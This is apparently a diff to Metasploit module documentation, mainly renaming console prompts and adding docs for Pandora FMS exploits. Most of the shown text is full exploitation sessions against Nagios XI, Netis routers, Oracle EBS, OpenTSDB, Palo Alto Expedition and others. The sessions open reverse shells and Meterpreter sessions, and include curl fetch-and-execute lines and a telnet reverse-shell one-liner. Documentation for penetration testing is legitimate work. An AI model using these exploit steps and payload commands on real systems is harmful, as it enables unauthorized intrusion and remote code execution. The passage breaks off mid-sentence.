exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set LHOST 172.21.163.243 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set LHOST 172.21.163.243 LHOST => 172.21.163.243 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set RHOSTS 172.21.168.44 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set RHOSTS 172.21.168.44 RHOSTS => 172.21.168.44 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > check +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > check [*] Attempting to authenticate to Nagios XI... [!] The target seems to be a Nagios XI application that has not been fully installed yet. @@ -307,9 +307,9 @@ msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > check [+] Successfully authenticated to Nagios XI [*] Target is Nagios XI with version 5.6.5 [*] 172.21.168.44:80 - The target appears to be vulnerable. -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set TARGET 1 +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > set TARGET 1 TARGET => 1 -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > show options Module options (exploit/linux/http/nagios_xi_snmptrap_authenticated_rce): @@ -347,7 +347,7 @@ Exploit target: 1 CMD -msf6 exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > exploit +msf exploit(linux/http/nagios_xi_snmptrap_authenticated_rce) > exploit [*] Started reverse TCP handler on 172.21.163.243:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md index 4c7b8a9902794..16e57ef606454 100644 --- a/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md +++ b/documentation/modules/exploit/linux/http/netalertx_rce_cve_2024_46506.md @@ -45,9 +45,9 @@ Restore DBCLNP_CMD to original value after execution. Default is `true`. ## Scenarios ``` -msf6 > use exploit/linux/http/netalertx_rce_cve_2024_46506 +msf > use exploit/linux/http/netalertx_rce_cve_2024_46506 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > options +msf exploit(linux/http/netalertx_rce_cve_2024_46506) > options Module options (exploit/linux/http/netalertx_rce_cve_2024_46506): @@ -87,7 +87,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 +msf exploit(linux/http/netalertx_rce_cve_2024_46506) > run lhost=192.168.56.1 rhost=192.168.56.17 [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version 24.9.12 detected. diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md index 52327a22659a9..49d88648f0cad 100644 --- a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md +++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_22729.md @@ -102,7 +102,7 @@ You are now ready to test the module using the emulated router hardware on IP ad you should get a `Meterpreter` session. ```msf -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > info +msf exploit(linux/http/netis_unauth_rce_cve_2024_22729) > info Name: Netis router MW5360 unauthenticated RCE. Module: exploit/linux/http/netis_unauth_rce_cve_2024_22729 @@ -184,13 +184,13 @@ with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` ## Scenarios ### Netis MW5360 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp ```msf -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set target 0 +msf exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set target 0 target => 0 -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set rhosts 192.168.1.1 +msf exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set rhosts 192.168.1.1 rhosts => 192.168.1.1 -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set lhost 192.168.1.2 +msf exploit(linux/http/netis_unauth_rce_cve_2024_22729) > set lhost 192.168.1.2 lhost => 192.168.1.2 -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_22729) > exploit +msf exploit(linux/http/netis_unauth_rce_cve_2024_22729) > exploit [*] Started reverse TCP handler on 192.168.1.2:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md index 36d5fdf8cad35..fda993bf8f232 100644 --- a/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md +++ b/documentation/modules/exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457.md @@ -124,7 +124,7 @@ You are now ready to test the module using the emulated router hardware on IP ad you should get a `Meterpreter` session. ```msf -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info +msf exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > info Name: Netis Router Exploit Chain Reactor (CVE-2024-48455, CVE-2024-48456 and CVE-2024-48457). Module: exploit/linux/http/netis_unauth_rce_cve_2024_48456_and_48457 @@ -233,7 +233,7 @@ with delay of 30 seconds of more to avoid session locking using the `CMD_DELAY` ## Scenarios ### GLCtec ALPHA-AC3 Router Emulation Linux Dropper - linux/mipsle/meterpreter_reverse_tcp ```msf -msf6 exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit +msf exploit(linux/http/netis_unauth_rce_cve_2024_48456_and_48457) > rexploit [*] Reloading module... [*] Started reverse TCP handler on 192.168.1.253:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/netsweeper_webadmin_unixlogin.md b/documentation/modules/exploit/linux/http/netsweeper_webadmin_unixlogin.md index 9b6ceb04e48dc..3893d12ddca6f 100644 --- a/documentation/modules/exploit/linux/http/netsweeper_webadmin_unixlogin.md +++ b/documentation/modules/exploit/linux/http/netsweeper_webadmin_unixlogin.md @@ -41,8 +41,8 @@ This executes a Python payload. ### Netsweeper 6.4.3 ISO, based on CentOS Linux ``` -msf5 > use exploit/linux/http/netsweeper_webadmin_unixlogin -msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > options +msf > use exploit/linux/http/netsweeper_webadmin_unixlogin +msf exploit(linux/http/netsweeper_webadmin_unixlogin) > options Module options (exploit/linux/http/netsweeper_webadmin_unixlogin): @@ -72,11 +72,11 @@ Exploit target: 0 Python -msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.157 +msf exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.157 rhosts => 172.16.249.157 -msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set lhost 172.16.249.1 +msf exploit(linux/http/netsweeper_webadmin_unixlogin) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > run +msf exploit(linux/http/netsweeper_webadmin_unixlogin) > run [*] Started HTTPS reverse handler on https://172.16.249.1:8443 [*] Executing automatic check (disable AutoCheck to override) @@ -101,9 +101,9 @@ meterpreter > ### Netsweeper 6.4.4 ISO, based on CentOS Linux ``` -msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.160 +msf exploit(linux/http/netsweeper_webadmin_unixlogin) > set rhosts 172.16.249.160 rhosts => 172.16.249.160 -msf5 exploit(linux/http/netsweeper_webadmin_unixlogin) > run +msf exploit(linux/http/netsweeper_webadmin_unixlogin) > run [*] Started HTTPS reverse handler on https://172.16.249.1:8443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md b/documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md index f4973aa4767db..1afa4fee2dab9 100644 --- a/documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md +++ b/documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md @@ -83,8 +83,8 @@ password is randomized on install. ### Nexus Repository Manager 3.21.1-01 from [Docker Hub](https://hub.docker.com/r/sonatype/nexus3) ``` -msf5 > use exploit/linux/http/nexus_repo_manager_el_injection -msf5 exploit(linux/http/nexus_repo_manager_el_injection) > options +msf > use exploit/linux/http/nexus_repo_manager_el_injection +msf exploit(linux/http/nexus_repo_manager_el_injection) > options Module options (exploit/linux/http/nexus_repo_manager_el_injection): @@ -119,13 +119,13 @@ Exploit target: 0 Nexus Repository Manager <= 3.21.1 -msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1 +msf exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set password admin +msf exploit(linux/http/nexus_repo_manager_el_injection) > set password admin password => admin -msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3 +msf exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3 lhost => 192.168.1.3 -msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run +msf exploit(linux/http/nexus_repo_manager_el_injection) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md b/documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md index 46c5b4a4912c4..db2c6e9b1dddb 100644 --- a/documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md +++ b/documentation/modules/exploit/linux/http/openmetadata_auth_bypass_rce.md @@ -40,7 +40,7 @@ No specific options ## Scenarios ```msf -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > info +msf exploit(linux/http/openmetadata_auth_bypass_rce) > info Name: OpenMetadata authentication bypass and SpEL injection exploit chain Module: exploit/linux/http/openmetadata_auth_bypass_rce @@ -114,13 +114,13 @@ View the full module info with the info -d command. ``` ### OpenMetadata 1.2.3 Automatic - cmd/unix/reverse_netcat_gaping ```msf -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/unix/reverse_netcat_gaping +msf exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/unix/reverse_netcat_gaping payload => cmd/unix/reverse_netcat_gaping -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set rhosts 192.168.201.42 +msf exploit(linux/http/openmetadata_auth_bypass_rce) > set rhosts 192.168.201.42 rhosts => 192.168.201.42 -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set lhost 192.168.201.8 +msf exploit(linux/http/openmetadata_auth_bypass_rce) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit +msf exploit(linux/http/openmetadata_auth_bypass_rce) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -138,9 +138,9 @@ Linux 1e3c578a0acc 6.6.32-linuxkit #1 SMP PREEMPT_DYNAMIC Thu Jun 13 14:14:43 UT ``` ### OpenMetadata 1.2.3 Automatic - cmd/linux/http/x64/meterpreter/reverse_tcp ```msf -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/http/openmetadata_auth_bypass_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/openmetadata_auth_bypass_rce) > exploit +msf exploit(linux/http/openmetadata_auth_bypass_rce) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md index 8ca793b066560..acc5e683c6c5f 100644 --- a/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md +++ b/documentation/modules/exploit/linux/http/opennms_horizon_authenticated_rce.md @@ -137,7 +137,7 @@ Id Name ## Scenarios ### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872 ``` -msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options +msf exploit(linux/http/opennms_horizon_authenticated_rce) > options Module options (exploit/linux/http/opennms_horizon_authenticated_rce): @@ -185,7 +185,7 @@ Exploit target: 0 Linux -msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run +msf exploit(linux/http/opennms_horizon_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.91.196:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -209,11 +209,11 @@ Server username: opennms ### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315 ``` -msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file +msf exploit(linux/http/opennms_horizon_authenticated_rce) > set username file username => file -msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file +msf exploit(linux/http/opennms_horizon_authenticated_rce) > set password file password => file -msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run +msf exploit(linux/http/opennms_horizon_authenticated_rce) > run [*] Started reverse TCP handler on 192.168.91.196:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/opentsdb_key_cmd_injection.md b/documentation/modules/exploit/linux/http/opentsdb_key_cmd_injection.md index 2cd02d2fb5066..e9e384a49b40f 100644 --- a/documentation/modules/exploit/linux/http/opentsdb_key_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/opentsdb_key_cmd_injection.md @@ -85,7 +85,7 @@ Id Name ## Scenarios ### OpenTSDB 2.4.1 - Linux target ``` -msf6 exploit(linux/http/opentsdb_key_cmd_injection) > options +msf exploit(linux/http/opentsdb_key_cmd_injection) > options Module options (exploit/linux/http/opentsdb_key_cmd_injection): @@ -134,7 +134,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/opentsdb_key_cmd_injection) > run RHOSTS=127.0.0.1 LHOST=192.168.112.1 +msf exploit(linux/http/opentsdb_key_cmd_injection) > run RHOSTS=127.0.0.1 LHOST=192.168.112.1 [*] Started reverse TCP handler on 192.168.112.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/opentsdb_yrange_cmd_injection.md b/documentation/modules/exploit/linux/http/opentsdb_yrange_cmd_injection.md index 55ac3fa1ba8de..6602045b5342a 100644 --- a/documentation/modules/exploit/linux/http/opentsdb_yrange_cmd_injection.md +++ b/documentation/modules/exploit/linux/http/opentsdb_yrange_cmd_injection.md @@ -36,7 +36,7 @@ Id Name ## Scenarios ### OpenTSDB 2.3.0 - Linux target ``` -msf6 exploit(linux/http/opentsdb_yrange_cmd_injection) > options +msf exploit(linux/http/opentsdb_yrange_cmd_injection) > options Module options (exploit/linux/http/opentsdb_yrange_cmd_injection): @@ -70,7 +70,7 @@ Exploit target: 1 Automatic (Linux Dropper) -msf6 exploit(linux/http/opentsdb_yrange_cmd_injection) > run +msf exploit(linux/http/opentsdb_yrange_cmd_injection) > run [*] Started reverse TCP handler on 10.10.1.30:1312 [*] Running automatic check ("set AutoCheck false" to disable) @@ -89,7 +89,7 @@ Server username: root ### OpenTSDB 2.3.0 - Unix target ``` -msf6 exploit(linux/http/opentsdb_yrange_cmd_injection) > options +msf exploit(linux/http/opentsdb_yrange_cmd_injection) > options Module options (exploit/linux/http/opentsdb_yrange_cmd_injection): @@ -123,7 +123,7 @@ Exploit target: 0 Automatic (Unix In-Memory) -msf6 exploit(linux/http/opentsdb_yrange_cmd_injection) > run +msf exploit(linux/http/opentsdb_yrange_cmd_injection) > run [+] sh -c '(sleep 3851|telnet 10.10.1.30 1337|while : ; do sh && break; done 2>&1|telnet 10.10.1.30 1337 >/dev/null 2>&1 &)' [*] Started reverse TCP double handler on 10.10.1.30:1337 diff --git a/documentation/modules/exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.md b/documentation/modules/exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.md index 5b2f980cb9743..b8937ba650694 100644 --- a/documentation/modules/exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.md +++ b/documentation/modules/exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276.md @@ -36,9 +36,9 @@ Option SUDO can be set to escalate to root privileges. Default setting is false. ### Optergy Proton 2.0.3a on Debian Linux 7.11 - bash reverse shell ``` -msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > check +msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > check [+] 192.168.201.31:80 - The target is vulnerable. -msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options +msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options Module options (exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276): @@ -82,7 +82,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit +msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -99,9 +99,9 @@ exit ``` ### Optergy Proton 2.0.3a on Debian Linux 7.11 - Linux Dropper Meterpreter session ``` -msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > set target 1 +msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > set target 1 target => 1 -msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options +msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > options Module options (exploit/linux/http/optergy_bms_backdoor_rce_cve_2019_7276): @@ -145,7 +145,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit +msf exploit(linux/http/optergy_bms_backdoor_rce_cve_2019_7276) > exploit [*] Started reverse TCP handler on 192.168.201.10:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/http/oracle_ebs_rce_cve_2022_21587.md b/documentation/modules/exploit/linux/http/oracle_ebs_rce_cve_2022_21587.md index 02a499c1d876c..f2fd606c8be8e 100644 --- a/documentation/modules/exploit/linux/http/oracle_ebs_rce_cve_2022_21587.md +++ b/documentation/modules/exploit/linux/http/oracle_ebs_rce_cve_2022_21587.md @@ -76,9 +76,9 @@ HTTP and 4443 for HTTPS. If using HTTPS set `SSL` to `true`. ### Oracle E-Business Suite 12.2.10 - Oracle Virtual Appliance (OVA) ``` -msf6 > use exploit/linux/http/oracle_ebs_rce_cve_2022_21587 +msf > use exploit/linux/http/oracle_ebs_rce_cve_2022_21587 [*] Using configured payload java/jsp_shell_reverse_tcp -msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > show options +msf exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > show options Module options (exploit/linux/http/oracle_ebs_rce_cve_2022_21587): @@ -111,13 +111,13 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set RHOST 192.168.86.37 +msf exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set RHOST 192.168.86.37 RHOST => 192.168.86.37 -msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set LHOST 192.168.86.5 +msf exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > set LHOST 192.168.86.5 LHOST => 192.168.86.5 -msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > check +msf exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > check [*] 192.168.86.37:8000 - The target appears to be vulnerable. Oracle EBS version 12.2.10 detected. -msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > exploit +msf exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > exploit [*] Started reverse TCP handler on 192.168.86.5:4444 [*] Targeting the endpoint: /OA_HTML/BneUploaderService @@ -131,5 +131,5 @@ uname -a Linux apps 3.10.0-1160.11.1.el7.x86_64 #1 SMP Tue Dec 15 11:58:45 PST 2020 x86_64 x86_64 x86_64 GNU/Linux exit [*] 192.168.86.37 - Command shell session 1 closed. -msf6 exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > +msf exploit(linux/http/oracle_ebs_rce_cve_2022_21587) > ``` diff --git a/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md b/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md index 58fe156ad14a0..0bb8f88436475 100644 --- a/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md +++ b/documentation/modules/exploit/linux/http/paloalto_expedition_rce.md @@ -28,10 +28,10 @@ Installation instructions are available [here] 2. Start `msfconsole` and run the following commands: ``` -msf6 > msf6 > use exploit/linux/http/paloalto_expedition_rce +msf > msf > use exploit/linux/http/paloalto_expedition_rce [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/http/paloalto_expedition_rce) > set RHOSTS -msf6 exploit(linux/http/paloalto_expedition_rce) > exploit +msf exploit(linux/http/paloalto_expedition_rce) > set RHOSTS +msf exploit(linux/http/paloalto_expedition_rce) > exploit ``` You should get a meterpreter session in the context of `www-data`. @@ -58,7 +58,7 @@ Running the exploit against Expedition v1.2.91 on Ubuntu Server 20.04.1, using c similar to the following: ``` -msf6 exploit(linux/http/paloalto_expedition_rce) > exploit +msf exploit(linux/http/paloalto_expedition_rce) > exploit [*] Command to run on remote host: curl -so /tmp/zRe http://192.168.137.204:8080/qv_gAdz7yjcgH-ohM3GesA; chmod +x /tmp/zRe; /tmp/zRe & [*] Fetch handler listening on 192.168.137.204:8080 diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_netflow_rce.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_netflow_rce.md new file mode 100644 index 0000000000000..e347c16532eda --- /dev/null +++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_netflow_rce.md @@ -0,0 +1,69 @@ +## Vulnerable Application + +PandoraFMS offers multiple modules that can be turned on or off with an administrative account. +One of them is Netflow, which is responsible for real-time network monitoring. +It can collect network data and then report or dump it. +Once Netflow is configured, it allows you to perform various tasks, such as viewing and exporting network data. + +The Netflow explorer contains a vulnerability, +when an unsanitized parameter from the Netflow configuration is placed into a string that gets executed using the exec() function. + +The PandoraFMS can be installed from [here](https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/777/Tarball/): + +1. Download vulnerable PandoraFMS +1. Install webserver - Apache2, MySQL, PHP8.2+ +1. Disable `strict_mode` in MySQL - `set global sql_mode='';` +1. Following installation steps of PandoraFMS +1. Enable Netflow in PandoraFMS settings +1. Run: `sudo apt install nfdump` + + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use linux/http/pandora_fms_auth_netflow_rce` +1. Do: `set rhosts [target IP]` +1. Do: `set lhost [attacker IP]` +1. Do: `set username [username]` +1. Do: `set password [password]` +1. Do: `run` +1. You should get a shell. + +## Options + + +### USERNAME + +Login username of existing user. + +### PASSWORD + +Login password of existing user. + +## Scenarios + +``` +msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set rhosts 192.168.168.146 +msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set PASSWORD pandora +msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > set USERNAME admin +msf6 exploit(linux/http/pandora_fms_auth_netflow_rce) > run verbose=true +[*] Command to run on remote host: curl -so ./khZKmkFYijJ http://192.168.168.128:8080/M1We21fZKyvgtWK9IWStLA;chmod +x ./khZKmkFYijJ;./khZKmkFYijJ& +[*] Fetch handler listening on 192.168.168.128:8080 +[*] HTTP server started +[*] Adding resource /M1We21fZKyvgtWK9IWStLA +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] 192.168.168.146:80 - Running automatic check ("set AutoCheck false" to disable) +[*] 192.168.168.146:80 - Version 7.0.777 detected +[+] 192.168.168.146:80 - The target is vulnerable. Vulnerable PandoraFMS version 7.0.777 detected +[*] Client 192.168.168.146 requested /M1We21fZKyvgtWK9IWStLA +[*] Sending payload to 192.168.168.146 (curl/7.68.0) +[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:54980) at 2025-06-25 12:27:52 +0200 + +meterpreter > sysinfo +Computer : 192.168.168.146 +OS : Ubuntu 20.04 (Linux 5.15.0-136-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md index 62090f359593f..77390a5a3cc90 100644 --- a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md +++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320.md @@ -60,7 +60,7 @@ This option is required and is the MySQL database port (default: 3306) to connec ## Scenarios ```msf -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > info Name: Pandora FMS authenticated command injection leading to RCE via LDAP using default DB password Module: exploit/linux/http/pandora_fms_auth_rce_cve_2024_11320 @@ -135,11 +135,11 @@ View the full module info with the info -d command. Attack scenario: use the default database credentials (pandora:Pandor4!) to create an admin user in the application to gain the privileges for the RCE. ```msf -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password xxx password => xxx -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6 +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 @@ -168,13 +168,13 @@ meterpreter > Attack scenario: use the default admin credentials (admin:pandora) of the Pandora FMS application to gain the privileges for the RCE. ```msf -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1 +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set target 1 target => 1 -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set payload cmd/unix/reverse_bash payload => cmd/unix/reverse_bash -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > set password pandora password => pandora -msf6 exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit +msf exploit(linux/http/pandora_fms_auth_rce_cve_2024_11320) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Pandora FMS version v7.0NG.777 diff --git a/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_12971.md b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_12971.md new file mode 100644 index 0000000000000..5af99b87233d1 --- /dev/null +++ b/documentation/modules/exploit/linux/http/pandora_fms_auth_rce_cve_2024_12971.md @@ -0,0 +1,185 @@ +## Vulnerable Application +Pandora FMS is a monitoring solution that provides full observability for your organization's technology. +This module exploits an command injection vulnerability in the `chromium-path` or `phantomjs-bin` directory +setting at the application settings page of Pandora FMS. +You need have admin access at the Pandora FMS Web application in order to execute this RCE. +This access can be achieved by knowing the admin credentials to access the web application or leveraging a default +password vulnerability in Pandora FMS that allows an attacker to access the Pandora FMS MySQL database, +create a new admin user and gain administrative access to the Pandora FMS Web application. +This attack can be remotely executed over the WAN as long as the MySQL services are exposed to the outside world. +This issue affects Community, Free and Enterprise editions: + - chromium-path: from v7.0NG.768 through <= v7.0NG.780 + - phantomjs-bin: from v7.0NG.724 through <= v7.0NG.767 + +Note: use target setting 2 "Tiny Reverse Netcat Command" for versions <= v7.0NG.738 + +The following releases were tested. + +**Pandora FMS Releases:** +* Pandora FMS Community Edition v7.0NG.718 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.724 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.725 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.738 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.739 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.759 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.767 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.768 (CentOS 7 ISO image) +* Pandora FMS Community Edition v7.0NG.777-LTS (Ubuntu 22.04) +* Pandora FMS Community Edition v7.0NG.772-LTS (Ubuntu 22.04) + +## Installation steps to install Pandora FMS Community, Free or Enterprise Editions +* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform. +* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/). +* Download [Pandora FMS 